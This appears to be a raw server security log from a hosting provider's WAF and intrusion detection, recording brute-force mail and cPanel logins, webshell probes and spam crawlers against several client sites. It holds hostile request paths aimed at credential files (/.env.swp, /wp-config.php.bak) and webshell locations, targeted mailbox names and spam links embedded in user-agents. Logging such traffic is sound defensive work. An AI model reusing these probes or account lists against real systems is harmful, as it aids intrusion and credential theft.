IM360 WAF: Block URI containing malicious URLs||RSV:8.26||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/idealloanzcom/public_html/contact||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-08 17:39:26 dovecot_login authenticator failed for H=([59.25.212.83]) [31.171.125.179]:42477: 535 Incorrect authentication data (set_id=pan)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 45.157.112.129
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.26||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/cochinbigbandsho/public_html/contact-us||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-jaipur.html\">call girl in Jaipur</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.158
country_id: 1269750
description:
2026-07-08 17:46:39 dovecot_login authenticator failed for H=([61.97.17.208]) [182.95.185.158]:43002: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-08 17:46:58 dovecot_login authenticator failed for H=([185.112.79.69]) [103.168.241.32]:52136: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.6.102
country_id: 1835841
description:
2026-07-08 17:47:11 dovecot_login authenticator failed for H=(mybackup.telecel.co.zw) [221.165.6.102]:49202: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.116.72.42
country_id: 6252001
description:
[2026-07-08 17:47:11 +0530] info [whostmgrd] 50.116.72.42 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://yedhod18.com/video/\">YEDHOD18</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.3.119.240
country_id: 298795
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/index.php/employer-control-panel HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-08 17:55:51 dovecot_login authenticator failed for H=([192.111.131.4]) [197.219.228.242]:40812: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-08 17:56:41 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com (90-230-212-29-no2550.tbcn.telia.com) [24.142.170.231]:49011: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-08 18:00:11 dovecot_login authenticator failed for H=(189-57-218-139.customer.tdatabrasil.net.br) [117.250.250.2]:44582: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-08 18:00:32 dovecot_login authenticator failed for H=(113-11-34-221.broadband.smile.com.bd) [80.233.12.109]:5240: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-08 18:02:05 dovecot_login authenticator failed for H=([117.213.181.6]) [183.104.220.152]:36904: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.184.213
country_id: 6252001
description:
2026-07-08 18:02:15 dovecot_login authenticator failed for H=(111-70-29-132.emome-ip.hinet.net) [74.196.184.213]:57315: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.244.3
country_id: 1269750
description:
2026-07-08 18:03:22 dovecot_login authenticator failed for H=([174.77.111.220]) [163.223.244.3]:58848: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.48.101.131
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/google-sites-unblocked\">Retro Bowl College 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-08 18:07:12 dovecot_login authenticator failed for H=([49.124.145.57]) [14.35.209.208]:43644: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-08 18:07:14 dovecot_login authenticator failed for H=(178.183.125.51.mobile.static.t-mobile.pl) [182.95.116.66]:42162: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 31.9.50.79
country_id: 163843
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25445.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:051be1b96ec17b898567a78158dfabd3f9c96181||Title:0xd6135ce6||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 46.253.131.63
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/online-casino-reviews/betmgm-casino\">cheap doxycycline</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.211.29
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/cochinbigbandsho/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-08 18:11:14 dovecot_login authenticator failed for H=([183.171.4.138]) [125.138.166.217]:47554: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 85.237.212.87
country_id: 798544
domain: globalgroupoman.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.26||T:APACHE||MVN:ARGS:data[2][value]||SC:/home/globalgroupoman/public_html/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-08 18:16:12 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([222.116.34.23]) [80.223.190.179]:60314: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-08 18:16:23 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [13.68.214.34]:58388: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.128.223.192
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:ibmcglobal||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.116.72.42
country_id: 6252001
description:
[2026-07-08 18:20:38 +0530] info [whostmgrd] 50.116.72.42 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.185
country_id: 1733045
description:
2026-07-08 18:22:04 dovecot_login authenticator failed for H=([14.35.209.208]) [49.124.159.185]:54970: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-08 18:22:34 dovecot_login authenticator failed for H=([110.172.147.190]) [206.62.136.109]:54244: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-08 18:23:02 dovecot_login authenticator failed for H=([103.168.241.32]) [122.163.127.14]:21320: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-08 18:27:32 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [125.19.163.58]:52104: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.166.245
country_id: 3923057
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.200.166
country_id: 149590
description:
2026-07-08 18:26:54 dovecot_login authenticator failed for H=([196.203.231.220]) [41.59.200.166]:44451: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-08 18:27:27 dovecot_login authenticator failed for H=([58.57.154.146]) [182.95.187.86]:40250: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.54.128.131
country_id: 3175395
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/tax_ibmc/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-08 18:29:23 dovecot_login authenticator failed for H=([117.244.16.6]) [182.95.181.138]:41086: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-08 18:30:08 dovecot_login authenticator failed for H=([49.124.159.193]) [175.213.137.209]:44240: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.165
country_id: 6251999
description:
2026-07-08 18:30:24 dovecot_login authenticator failed for H=host-96-30-129-165.public.eastlink.ca (78-66-44-23-no2550.tbcn.telia.com) [96.30.129.165]:53952: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.163
country_id: 1269750
description:
2026-07-08 18:31:42 dovecot_login authenticator failed for H=(nsg-corporate-163.227.187.122.airtel.in) [122.187.227.163]:47421: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.179.154.119
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/acoustic-treatments HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-07-08 18:32:24 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:36568: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.163
country_id: 1269750
description:
2026-07-08 18:32:25 dovecot_login authenticator failed for H=(nsg-corporate-163.227.187.122.airtel.in) [122.187.227.163]:50535: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.231.172
country_id: 1269750
description:
2026-07-08 18:31:58 dovecot_login authenticator failed for H=(nsg-corporate-172.231.187.122.airtel.in) [122.187.231.172]:47558: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-07-08 18:32:04 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:46028: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-08 18:36:27 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp ([59.24.110.57]) [202.212.191.16]:37876: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.142.225.128
country_id: 3625428
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/technical-supply-engine-deck-stores-new-second-hand-spares/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-08 18:37:03 dovecot_login authenticator failed for H=([196.0.113.110]) [91.86.88.24]:35500: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-08 18:37:58 dovecot_plain authenticator failed for H=(atisadtive) [174.134.45.64]:58566: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-08 18:40:19 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([68.71.243.10]) [82.209.148.60]:47542: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-08 18:40:50 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se (dynamic-adsl.movitel.co.mz) [83.226.56.106]:59010: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-08 18:40:55 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net ([218.202.112.10]) [76.132.238.43]:49198: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-08 18:41:11 dovecot_login authenticator failed for H=([49.125.203.163]) [218.159.144.187]:45652: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 188.119.26.49
country_id: 298795
domain: yukticlick.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/yukticlick/public_html/index.php||User:yukticlick||WPU:||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.48.32.28
country_id: 1861060
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.225.94
country_id: 3017382
domain: idealloanz.com.au
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:18-56.51.15.225.94||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-08 19:01:20 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [125.23.228.86]:48274: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-08 19:02:19 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([119.196.213.173]) [110.25.114.8]:41596: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 38.253.224.25
country_id: 6252001
domain: img6kb79.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:root||


